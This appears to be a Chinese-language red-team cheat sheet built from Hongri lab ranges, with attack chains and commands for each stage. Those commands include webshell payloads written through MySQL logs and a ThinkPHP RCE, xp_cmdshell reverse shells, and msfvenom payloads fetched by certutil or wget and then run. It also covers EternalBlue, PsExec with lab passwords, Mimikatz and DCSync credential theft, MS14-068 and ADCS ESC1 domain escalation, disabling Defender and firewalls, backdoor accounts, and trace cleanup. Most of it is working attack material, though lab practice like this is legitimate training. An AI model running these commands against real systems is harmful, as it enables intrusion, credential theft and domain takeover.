1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

网络可达性
  -> 外部入口识别
  -> 初始命令执行
  -> 权限与架构确认
  -> 稳定上线
  -> 内网网段发现
  -> 凭据抓取
  -> 路由/代理/转发
  -> 横向移动
  -> 域权限扩展
  -> 战果、失败点、检测点复盘

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

拿到 WebShell / RCE
  |
  +-- 1. 当前身份是谁？
  |     +-- 普通 Web 用户 -> 看提权点、配置文件、数据库凭据
  |     +-- Administrator / SYSTEM -> 直接进入凭据和内网阶段
  |
  +-- 2. 目标系统和架构？
  |     +-- Windows x64 -> payload / Kiwi / migrate 都尽量 x64
  |     +-- Linux -> 查 SUID、内核、Docker、SSH 凭据
  |
  +-- 3. 是否能出网或回连？
  |     +-- 能回 Kali -> reverse_tcp / HTTP Beacon
  |     +-- 不能回 Kali，但 Kali 能连它 -> bind_tcp
  |     +-- 只能内网互通 -> 回连到跳板内网 IP / SMB Beacon / 端口转发
  |
  +-- 4. 是否双网卡？
  |     +-- 是 -> 记录内网网段，添加路由或 SOCKS
  |     +-- 否 -> 看 ARP、DNS、域信息，寻找下一层入口
  |
  +-- 5. 是否能抓凭据？
        +-- 能 -> 判断凭据权限，尝试 C$ / WMI / PsExec / RDP
        +-- 不能 -> 换漏洞型横向、委派、ADCS 或本机提权路径

1
2
3
4
5
6
7
8
9

技术名：
来源：
适用场景：
前置条件：
关键动作：
成功标志：
失败信号：
替代路径：
检测/防守视角：

1
2
3
4

meterpreter > run autoroute -s <subnet>/24
msf > route add <subnet> <netmask> <session-id>
msf > route print
use auxiliary/server/socks_proxy

1
2
3
4
5
6
7
8
9

LingJing VPN 桥接排障
  -> phpMyAdmin 弱口令
  -> MySQL general_log / slow_query_log 写 WebShell
  -> 蚁剑拿 STU1 SYSTEM
  -> MSF bind_tcp 上线
  -> migrate x64 后 Kiwi 抓 GOD\Administrator
  -> autoroute 192.168.52.0/24
  -> PsExec reverse 到 STU1 内网 IP
  -> OWA 域控 SYSTEM

1
2
3
4
5
6
7
8

端口发现 445/7001/1433/3389
  -> WebLogic 或 MS17-010 拿 WEB
  -> getsystem
  -> Kiwi 抓域管凭据
  -> RDP 验证
  -> autoroute 10.10.10.0/24
  -> PsExec bind_tcp 到 DC
  -> DC SYSTEM

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

Joomla 扫描
  -> 配置备份泄露 MySQL 凭据
  -> 修改 Joomla 管理员 Hash
  -> 后台模板写 WebShell
  -> 禁用函数绕过
  -> SSH wwwuser
  -> Linux 提权和内网扫描
  -> MSF route / SOCKS / Python 转发
  -> SMB 凭据爆破
  -> PsExec 横向 WIN2008 / DC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

Web 服务 RCE
  -> 容器 shell
  -> Docker privileged 逃逸
  -> Ubuntu 上线
  -> MS17-010 拿 Win7
  -> Kiwi 抓 douser
  -> MS14-068 伪造票据
  -> 访问 DC C$
  -> 远程服务执行
  -> DCSync

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

ThinkPHP RCE
  -> 写 WebShell
  -> 蚁剑上传 MSF/CS payload
  -> getsystem
  -> route 192.168.138.0/24
  -> migrate x64
  -> Kiwi 抓 SUN 域管
  -> CS SMB Beacon psexec64 到 DC
  -> hashdump krbtgt
  -> 黄金票据练习

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

MSSQL 弱口令
  -> xp_cmdshell
  -> GodPotato SYSTEM
  -> fscan 内网
  -> MS17-010 拿 WIN-PC8086
  -> 抓机器账户 Hash
  -> 约束委派到 WIN-PC8098
  -> 抓 liuyuhua 凭据
  -> ADCS ESC1 申请 Administrator 证书
  -> PKINIT 不可用，LDAP Shell 改域管密码
  -> WMI 拿 DC01 和 CA

1
2
3
4
5

# Windows：查看所有网卡、IP、DNS、网关。用于判断宿主机或靶机是否双网卡、DNS 是否指向域控。
ipconfig /all

# Windows：查看 LingJing / VMware / 物理网卡名称。编辑 .vmx 的 bridgeAdapter 时必须和这里的 Name 完全一致。
Get-NetAdapter | Format-Table Name, InterfaceDescription

1
2
3
4
5
6
7
8

# Kali：确认本机网卡、IP 和网段。拿到靶场地址后先看自己是否真的在可达网段。
ip a

# Kali：Kali 2025+ 常用 dhcpcd 获取地址，红日 1 用它让 eth1 从 LingJing VPN 网段拿 IP。
sudo dhcpcd eth1

# Kali：确认能否直达目标外网入口。
ping 192.168.242.12

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

# 红日 1：LingJing VPN 桥接不稳定时的完整恢复流程。
# 先杀掉旧 dhcpcd，避免租约和进程冲突。
sudo killall dhcpcd 2>/dev/null

# 让 NetworkManager 不再管理 eth1，避免它和 dhcpcd 抢配置。
sudo nmcli device set eth1 managed no

# 清空 eth1 地址并关闭网卡，准备重新获取地址。
sudo ip addr flush dev eth1
sudo ip link set eth1 down

# 删除旧租约，避免拿到重复或过期地址。
sudo rm -f /var/lib/dhcpcd/*.lease

# 恢复 eth0 NAT 网卡，保证 Kali 自己仍能出网。
sudo nmcli device set eth0 managed yes
sudo nmcli connection up eth0 2>/dev/null || sudo dhcpcd eth0

# 重新启用 eth1 并从 LingJing 网段获取地址。
sudo ip link set eth1 up
sudo dhcpcd eth1

# 最后检查结果。
ip a

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

# TCP 直连扫描，跳过 ping 探测。目标禁 ICMP 或经过 VPN/防火墙时很常用。
nmap -Pn -sT 192.168.242.12 -p 80,3306,445

# 存活主机扫描。用于确认一个网段里到底有哪些机器存在。
sudo nmap -sn 192.168.242.0/24

# 基础端口扫描，红日 1 外网入口使用过。
nmap 192.168.242.12

# 带版本和默认脚本扫描，综合靶场 Web01 使用过。
nmap -sV -sC -p21,80,1433,5985 192.168.93.146

# 红日 2：分别扫描 PC 和 WEB 两台外网靶机。
nmap -Pn 192.168.242.49
nmap -Pn 192.168.242.226

# SMB 漏洞脚本扫描，判断 MS17-010 等漏洞。
sudo nmap -p 445 192.168.242.49 -Pn --script smb-vuln*
sudo nmap -p 445 192.168.242.226 -Pn --script smb-vuln*

# 综合靶场：扫描 NAT 网段，定位 Web01。
nmap -sn 192.168.93.1/24
nmap 192.168.93.146

# Web 目录爆破，发现 phpMyAdmin、备份文件、后台等入口。
dirsearch -u 192.168.242.12 -t 100
dirsearch -u http://192.168.93.146

# Joomla 指纹与敏感路径扫描，红日 3 用于发现 configuration.php~。
joomscan -u http://<target>/
joomscan -u http://192.168.242.92/

# fscan 内网探测，综合靶场从 Web01 扫 172.22.10.0/24。
C:\Windows\Temp\fscan.exe -h 172.22.10.1/24

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

# MSF：通过已控 session 扫内网目标端口，常用于只经过 Meterpreter 路由能访问的内网。
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.52.138
set PORTS 445,135,139,80,3389
set THREADS 5
run

# MSF：UDP 探测内网存活，红日 3 中用于 192.168.93.0/24。
use auxiliary/scanner/discovery/udp_probe
set RHOSTS 192.168.93.0-255
set THREADS 5
run

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

# Joomla：读取泄露的配置备份，提取数据库账号、密码、库名、表前缀。
curl http://192.168.242.92/configuration.php~

# Joomla：连接远程 MySQL。--skip-ssl 用于兼容旧 MySQL/MariaDB。
mysql -h 192.168.242.92 -u testuser -p'cvcvgjASD!@' --skip-ssl

# 综合靶场：匿名 FTP 登录 Web01，确认 FTP 目录是否有可利用文件。
ftp 192.168.93.146

# MSSQL：爆破 sa 弱口令，综合靶场获得 sa/123456。
hydra -l sa -P /usr/share/wordlists/rockyou.txt 192.168.93.146 mssql -t 4

# MSSQL：用 Impacket 连接 SQL Server。
impacket-mssqlclient sa:123456@192.168.93.146

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

-- phpMyAdmin / MySQL：开启 general_log。
SET GLOBAL general_log = 'ON';

-- phpMyAdmin / MySQL：把 general_log 写到 Web 根目录下的 shell.php。
SET GLOBAL general_log_file = 'C:/phpStudy_pro/WWW/shell.php';

-- phpMyAdmin / MySQL：写入 WebShell 内容。红日 1 中密码参数是 cmd。
SELECT '<?php eval($_POST[cmd]);?>';

-- phpMyAdmin / MySQL：查看慢查询相关配置。
SHOW VARIABLES LIKE '%slow%';

-- phpMyAdmin / MySQL：开启慢查询日志。
SET GLOBAL slow_query_log = 1;

-- phpMyAdmin / MySQL：将慢查询日志路径指向 Web 根目录。
SET GLOBAL slow_query_log_file = 'C:/phpstudy_pro/WWW/shell1.php';

-- phpMyAdmin / MySQL：查看慢查询阈值。
SELECT @@long_query_time;

-- phpMyAdmin / MySQL：利用 SLEEP 触发慢查询写入 WebShell。
SELECT '<?php @eval($_POST["shell"]);?>' OR SLEEP(11);

-- phpMyAdmin / MySQL：查看 secure_file_priv，判断 INTO OUTFILE 是否可用。
SHOW VARIABLES LIKE 'secure_file_priv';

-- phpMyAdmin / MySQL：查看 MySQL 数据目录。
SHOW VARIABLES LIKE '%datadir%';

-- phpMyAdmin / MySQL：查看 MySQL 安装目录。
SELECT @@basedir;

-- phpMyAdmin / MySQL：查看 MySQL 用户权限信息。
SELECT * FROM mysql.user;

-- phpMyAdmin / MySQL：INTO OUTFILE 写马尝试；红日 1 中因 secure_file_priv 失败。
SELECT * FROM test_table INTO OUTFILE "/phpstudy_pro/www/create_shell.php";

-- phpMyAdmin / MySQL：secure_file_priv 放开时的直接写马模板。
SELECT '<?php @eval($_POST[a]);?>' INTO OUTFILE '/var/www/html/shell.php';

-- MySQL：读取本地文件，条件是 MySQL 用户具备 FILE 权限且路径可读。
SELECT load_file('/etc/passwd');

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

-- Joomla：查看数据库列表，确认是否存在 joomla 库。
show databases;

-- Joomla：进入 joomla 数据库。
use joomla;

-- Joomla：查看表名，定位 users 表和表前缀。
show tables;

-- Joomla：查看管理员账号和密码 Hash。
SELECT id, name, username, password FROM am2zu_users;

-- Joomla：把管理员密码 Hash 改为已知 Hash，红日 3 中用于登录后台。
UPDATE am2zu_users SET password='$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi' WHERE id=891;

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

-- MSSQL：开启高级选项。
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

-- MSSQL：开启 xp_cmdshell。
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- MSSQL：确认命令执行身份。
EXEC xp_cmdshell 'whoami';

-- MSSQL：执行 PowerShell 反弹 Shell。<base64> 由 Kali 上 UTF-16LE + base64 生成。
EXEC xp_cmdshell 'powershell -nop -e <base64>';

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

# ThinkPHP 5.0.22：验证命令执行，浏览器访问或用代理工具发 GET。
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

# ThinkPHP 5.0.22：查看进程和服务，判断是否有杀软。
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tasklist /svc

# ThinkPHP 5.0.22：写入 WebShell。
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[cmd]);?>" > shell.php

# ThinkPHP 5.0.22：查看目录，确认 shell.php 是否落地。
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

# Tomcat：搜索本地 exploit-db 中的 Tomcat 8.5.19 相关利用。
searchsploit tomcat 8.5.19

# Tomcat：复制 exploit 到当前目录。
searchsploit -m /exploit/jsp/webapps/42966.py

# Tomcat：检测 PUT 上传漏洞，访问 Poc.jsp 验证。
python 42966.py -u http://192.168.157.128:2002/

# Tomcat：上传并进入交互式 JSP Shell，红日 4 中用 -p pwn 生成 pwn.jsp。
python 42966.py -u http://192.168.157.128:2002/ -p pwn

1
2
3
4
5
6
7
8

# phpMyAdmin CVE-2018-12613：读取 /etc/passwd 的文件包含 POC。
?target=db_sql.php%253f/../../../../../../../../etc/passwd

# phpMyAdmin CVE-2018-12613：包含 session 文件，红日 4 中用于触发写入过的 PHP 片段。
?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_5b72d8a8c59d4b8df7268f33858f6de5

# phpMyAdmin CVE-2018-12613：尝试通过 session 包含执行 file_put_contents 写 shell。
?target=tbl_zoom_select.php?/../../../../../../tmp/sess_e7bec897077c4a99f9e6e5da0bed67b5&cmd=file_put_contents("/var/www/html/shell.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg=="));

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

# Kali：启动临时 HTTP 服务，供目标下载工具或 payload。
python3 -m http.server 8080
python -m http.server 8000

# Kali：监听 PowerShell 反弹 Shell。
nc -lvnp 4444

# Windows 目标：用 certutil 下载 GodPotato。
certutil -urlcache -split -f http://192.168.93.128:8080/GodPotato-NET4.exe C:\Windows\Temp\GodPotato.exe

# Windows 目标：用 certutil 下载 fscan。
certutil -urlcache -split -f http://192.168.93.128:8080/fscan.exe C:\Windows\Temp\fscan.exe

# Windows 目标：PowerShell 下载 Mimikatz。
Invoke-WebRequest -Uri http://192.168.93.128:8080/mimikatz.exe -OutFile C:\Users\hacker\mimikatz.exe

1
2
3
4
5

:: GodPotato：测试能否从服务账户提权到 SYSTEM。
C:\Windows\Temp\GodPotato.exe -cmd "whoami"

:: GodPotato：用 SYSTEM 权限执行反弹 Shell。<base64> 使用 Kali 上生成的 PowerShell UTF-16LE Base64。
C:\Windows\Temp\GodPotato.exe -cmd "powershell -nop -e <base64>"

1
2
3
4
5
6
7
8

# MSFVenom：生成 Windows bind_tcp Meterpreter，红日 1 用于目标不能回连时正向连接。
msfvenom -p windows/meterpreter/bind_tcp LPORT=5555 -f exe > bind.exe

# MSFVenom：生成 Windows reverse_tcp Meterpreter，红日 5 用蚁剑上传后执行。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.135.128 LPORT=4444 -f exe > abc.exe

# MSFVenom：生成 Linux x86 Meterpreter ELF，红日 4 Tomcat 容器中下载执行。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.129 LPORT=4444 -f elf > shell.elf

1
2
3
4
5
6
7
8

# Linux 目标：下载 Linux payload。
wget http://192.168.157.129:8000/shell.elf

# Linux 目标：给 payload 执行权限。
chmod 777 shell.elf

# Linux 目标：执行 payload，回连 Kali handler。
./shell.elf

1
2
3
4
5

# CS：上传 Cobalt Strike 到 Kali 后赋予执行权限。
sudo chmod -R +x ~/workspace/cs4.7/Cobalt_Strike_4.7

# CS：启动 TeamServer。第一个参数是 Kali IP，第二个参数是连接密码。
sudo ./teamserver 192.168.188.134 123456

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

# CS Beacon：取消 sleep 延迟，方便实验时实时回显。
sleep 0

# CS Beacon：运行 Windows 原生命令。
shell whoami
shell ipconfig /all
shell net user

# CS Beacon：抓取明文密码。
logonpasswords

# CS Beacon：抓取 Hash。
hashdump

# CS Beacon：扫描内网网段和端口。
portscan 192.168.138.0/24

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

# 查看当前 Meterpreter 会话权限。
getuid

# 查看目标系统、架构、域、Meterpreter 架构。
sysinfo

# 查看目标网卡，定位内网 IP。
ipconfig

# 查看进程，找 x64 / SYSTEM 进程用于 migrate。
ps

# 迁移到指定进程。x86 会话在 x64 系统上抓凭据不稳时必用。
migrate <pid>

# 导出本地 SAM Hash。
hashdump

# 进入目标系统 shell。
shell

# 把当前 session 放到后台。
background

# 查看所有 session。
sessions -l

# 进入指定 session。
sessions -i <id>

# 加载 Kiwi / Mimikatz 扩展。
load kiwi

# 抓取所有凭据，包括 msv、wdigest、tspkg、kerberos。
creds_all

# 导出 SAM，hashdump 失败时可尝试。
lsa_dump_sam

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

# MSF：启动控制台。
msfconsole

# MSF：一行启动 bind_tcp handler，红日 1 用于连接目标 bind payload。
msfconsole -q -x "use multi/handler; set payload windows/meterpreter/bind_tcp; set RHOST 192.168.242.97; set LPORT 5555; run"

# MSF：Windows reverse_tcp handler。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.135.128
set LPORT 4444
run

# MSF：Windows x64 reverse_tcp handler。
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 5555
run

# MSF：Linux reverse_tcp handler。
use multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.157.129
set LPORT 4444
run

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

# Meterpreter：添加内网路由，红日 1 用于访问 192.168.52.0/24。
run autoroute -s 192.168.52.0/24

# Meterpreter：添加内网路由，红日 3 用于访问 192.168.93.0/24。
run autoroute -s 192.168.93.0/24

# Meterpreter：查看 autoroute 路由。
run autoroute -p

# MSF：推荐的新 autoroute 模块用法，红日 2 用于 10.10.10.0/24。
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 10.10.10.0
run

# MSF：手动添加 route，红日 5 用于 192.168.138.0/24。
route add 192.168.138.0 255.255.255.0 1

# MSF：查看当前路由。
route print

# MSF：启动 SOCKS4a 代理，让 proxychains 等工具走 Meterpreter 路由。
use auxiliary/server/socks_proxy
set version 4a
set srvport 6677
run

1
2
3
4
5
6
7
8

# 红日 3：在跳板主机上启动 Python 端口转发，监听 4444 并转发到 Kali 4444。
python sock.py 0.0.0.0 4444 192.168.188.104 4444 &

# 红日 3：转发 5555，用于第二组 handler 或横向 payload。
python sock.py 0.0.0.0 5555 192.168.188.104 5555 &

# 红日 3：转发 6666，保留备用通道。
python sock.py 0.0.0.0 6666 192.168.188.104 6666 &

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

# 红日 2：MS17-010 EternalBlue，目标为 192.168.242.49。
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.242.49
set LHOST 192.168.188.104
run

# 红日 2：MS17-010 EternalBlue，切到 WEB 目标 192.168.242.226。
set RHOSTS 192.168.242.226
set LHOST 192.168.188.104
run

# 综合靶场：MS17-010 使用 x64 bind_tcp 打 WIN-PC8086。
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 172.22.10.36
set LPORT 4444
run

1
2
3
4
5
6
7
8
9

# 红日 2：WebLogic CVE-2019-2725，必须手动设置 x64 payload。
search cve-2019-2725
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set TARGET Windows
set payload windows/x64/meterpreter/reverse_tcp
set RHOST 192.168.242.226
set LHOST 192.168.188.104
set LPORT 3333
run

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

# 红日 1：PsExec 第一次尝试 bind_tcp，认证成功但无 session，可用于判断防火墙/连接方向问题。
use exploit/windows/smb/psexec
set RHOSTS 192.168.52.138
set SMBDomain GOD
set SMBUser Administrator
set SMBPass hongrisec@2025
set payload windows/meterpreter/bind_tcp
set LPORT 4446
run

# 红日 1：PsExec 改 reverse_tcp 回连 Web 靶机内网 IP，成功拿域控。
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.52.141
set LPORT 4446
set AutoRunScript post/windows/manage/migrate
run

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

# 红日 2：PsExec 横向到 DE1AY 域控，使用 bind_tcp。
use exploit/windows/smb/psexec
set RHOSTS 10.10.10.10
set SMBDomain DE1AY
set SMBUser Administrator
set SMBPass 2wsx!QAZ
set payload windows/x64/meterpreter/bind_tcp
set RPORT 445
set LPORT 4445
run

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

# 红日 3：SMB 爆破模板。RPORT 2222 是经过转发暴露出来的 SMB 端口。
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.242.63
set SMBUser administrator
set PASS_FILE /usr/share/wordlists/rockyou.txt
set RPORT 2222
set STOP_ON_SUCCESS true
run

# 红日 3：PsExec 通过转发端口横向到 WIN2008。
use exploit/windows/smb/psexec
set RHOSTS 192.168.242.63
set RPORT 2222
set SMBUser administrator
set SMBPass 123qwe!ASD
set LHOST 192.168.93.100
set LPORT 5555
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

# 红日 3：PsExec 通过转发端口横向到域控。
use exploit/windows/smb/psexec
set RHOSTS 192.168.242.63
set RPORT 1111
set SMBUser administrator
set SMBPass zxcASDqw123!!
set LHOST 192.168.93.10
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

:: 切换代码页，减少中文 Windows shell 乱码。
chcp 65001

:: 查看当前用户。
whoami

:: 查看网络配置，定位内网 IP、DNS、域信息。
ipconfig /all

:: 查看路由表。
route print

:: 查看 ARP 表，红日 1 用它发现 192.168.52.138 域控。
arp -a

:: 查看域列表。
net view /domain

:: 查看域用户。
net user /domain

:: 查看域管理员组。
net group "domain admins" /domain

:: 查看域控组。
net group "domain controllers" /domain

:: 查看域计算机组。
net group "domain computers" /domain

:: 通过域名解析确认域控 IP。
ping DC.sun.com
ping DE1AY.COM
ping test.org

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

:: 查看防火墙状态。
netsh advfirewall show allprofile state

:: 关闭防火墙，靶场连通性排障使用。
netsh advfirewall set allprofiles state off

:: 开启 RDP。
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

:: 放行 3389。
netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389

:: 关闭 Defender 实时防护，综合靶场 RDP 进 WIN-PC8098 后使用。
Set-MpPreference -DisableRealtimeMonitoring $true

1
2
3
4
5
6
7
8

# Kali：RDP 登录红日 2 WEB。
rdesktop -u Administrator -p '2wsx!QAZ' -d DE1AY 192.168.242.226

# Kali：如果域账户 RDP 不顺，可使用本地账户登录。
rdesktop -u Administrator -p '2wsx!QAZ123' 192.168.242.226

# Kali：新版 xfreerdp 连接综合靶场 WIN-PC8098。
xfreerdp /v:172.22.10.40 /u:hacker /p:P@ssw0rd123 /cert:ignore

1
2
3
4
5
6

:: 红日 2：在 Meterpreter shell 中修改本地管理员密码。
net user Administrator 2wsx!QAZ123

:: 红日 5 / 综合靶场：新增本地管理员用户。
net user hacker P@ssw0rd123 /add
net localgroup Administrators hacker /add

1
2
3
4
5
6

:: 验证域控 C$ 可达，红日 2 中用于确认凭据和横向条件。
net use \\10.10.10.10\c$ "2wsx!QAZ" /user:DE1AY\Administrator
dir \\10.10.10.10\c$

:: 红日 4：MS14-068 注入票据后验证能访问域控 C$。
dir \\WIN-ENS2VR5TR3N\c$

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

:: 红日 4：远程创建服务关闭域控防火墙。1053 超时不一定代表命令没执行。
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall

:: 红日 4：上传 bind.exe 后远程创建服务执行 payload。
copy C:\Users\douser\Desktop\bind.exe \\WIN-ENS2VR5TR3N\c$\windows\temp\
sc \\WIN-ENS2VR5TR3N create BackdoorService binpath= "c:\windows\temp\bind.exe"
sc \\WIN-ENS2VR5TR3N start BackdoorService

:: 红日 4：通过远程服务把 douser 加入域管理员组。
sc \\WIN-ENS2VR5TR3N create adddomainadmin binpath= "net group \"domain admins\" douser /add /domain"
sc \\WIN-ENS2VR5TR3N start adddomainadmin

:: 红日 4：验证 douser 已进入 Domain Admins。
net user douser /domain

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

# Meterpreter：加载 Kiwi。
load kiwi

# Meterpreter：启用调试权限。
kiwi_cmd privilege::debug

# Meterpreter：读取 LSASS 中的登录凭据。
kiwi_cmd sekurlsa::logonpasswords

# Meterpreter：DCSync 导出域内 Hash，红日 4 获取 krbtgt / Administrator。
kiwi_cmd lsadump::dcsync /domain:DEMO.com /all /csv

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

# Mimikatz：启用调试权限。
mimikatz # privilege::debug

# Mimikatz：抓取登录密码和 Hash。
mimikatz # sekurlsa::logonpasswords

# Mimikatz：查看当前 Kerberos 票据。
mimikatz # kerberos::list

# Mimikatz：注入 MS14-068 生成的 ccache。
mimikatz # kerberos::ptc TGT_douser@DEMO.com.ccache

# Mimikatz：退出。
mimikatz # exit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

:: Windows：清理当前登录会话的 Kerberos 票据。
klist purge

:: Windows：查看当前 Kerberos 票据。
klist

:: 红日 4：生成 MS14-068 伪造票据。
ms14-068.exe -u douser@DEMO.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130

:: 红日 4：命令行方式注入票据。
mimikatz.exe "kerberos::ptc TGT_douser@DEMO.com.ccache" exit

:: 红日 5：获取域用户 SID，去掉末尾 RID 后就是域 SID。
wmic useraccount where name='Administrator' get sid

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

# Impacket：枚举约束委派信息。
python3 findDelegation.py aerospace.local/WIN-PC8086\$ -hashes :1878248073dc58f665227675e99b8333 -dc-ip 172.22.10.11

# Impacket：使用机器账户 Hash 申请 CIFS/WIN-PC8098 的委派票据，并模拟 Administrator。
python3 getST.py aerospace.local/WIN-PC8086\$ -hashes :1878248073dc58f665227675e99b8333 -spn CIFS/WIN-PC8098.aerospace.local -impersonate Administrator -dc-ip 172.22.10.11

# Linux：指定 Kerberos ccache 文件。
export KRB5CCNAME='Administrator@CIFS_WIN-PC8098.aerospace.local@AEROSPACE.LOCAL.ccache'

# Linux：向域控 DNS 查询目标主机名。
nslookup WIN-PC8098.aerospace.local 172.22.10.11

# Linux：写 hosts，解决 Impacket Kerberos 模式名称解析。
echo '172.22.10.40 WIN-PC8098.aerospace.local WIN-PC8098' >> /etc/hosts
echo '172.22.10.13 CA.aerospace.local CA' >> /etc/hosts
echo '172.22.10.11 DC01.aerospace.local DC01' >> /etc/hosts

# Impacket：使用 Kerberos 票据登录 WIN-PC8098。
python3 wmiexec.py -k aerospace.local/Administrator@WIN-PC8098.aerospace.local -no-pass -dc-ip 172.22.10.11

# Impacket：使用改密后的域管密码登录 DC01。
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py aerospace.local/Administrator:'P@ssw0rd2024!'@DC01.aerospace.local -dc-ip 172.22.10.11

# Impacket：使用域管密码登录 CA。
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py aerospace.local/Administrator:'P@ssw0rd2024!'@CA.aerospace.local -dc-ip 172.22.10.13

1
2
3
4
5

# Certipy：申请带 Administrator UPN 的证书，利用 ADCS ESC1。
certipy-ad req -username liuyuhua@aerospace.local -hashes :2c8e4ec4d8a61869d85c7921c6076dfd -ca aerospace-CA-CA -target CA.aerospace.local -template AeroUser -upn Administrator@aerospace.local -dns DC01.aerospace.local -dc-ip 172.22.10.11 -ns 172.22.10.11 -debug

# Certipy：PKINIT 不可用时，使用证书走 LDAPS/Schannel 进入 LDAP Shell。
certipy-ad auth -pfx administrator_dc01.pfx -dc-ip 172.22.10.11 -ldap-shell

1
2
3
4
5

# Certipy LDAP Shell：确认当前认证身份。
whoami

# Certipy LDAP Shell：修改 Administrator 密码，综合靶场用于后续 WMI 横向。
change_password Administrator P@ssw0rd2024!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

# 红日 3：旧 SSH 服务只支持 ssh-rsa 时，显式启用旧算法登录。
ssh -o HostKeyAlgorithms=+ssh-rsa wwwuser@192.168.242.92

# Linux：查看当前目录。
pwd

# Linux：列根目录，判断系统结构。
ls /

# Linux：查看用户列表。
cat /etc/passwd

1
2
3
4
5
6
7

# 红日 4：启动 Struts2、Tomcat、phpMyAdmin 三组 Docker 靶场服务。
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

:: 红日 4：删除远程服务痕迹。
sc \\WIN-ENS2VR5TR3N delete BackdoorService
sc \\WIN-ENS2VR5TR3N delete unablefirewall
sc \\WIN-ENS2VR5TR3N delete addadmin
sc \\WIN-ENS2VR5TR3N delete adddomainadmin
sc \\WIN-ENS2VR5TR3N delete checkfw
sc \\WIN-ENS2VR5TR3N delete openrdp
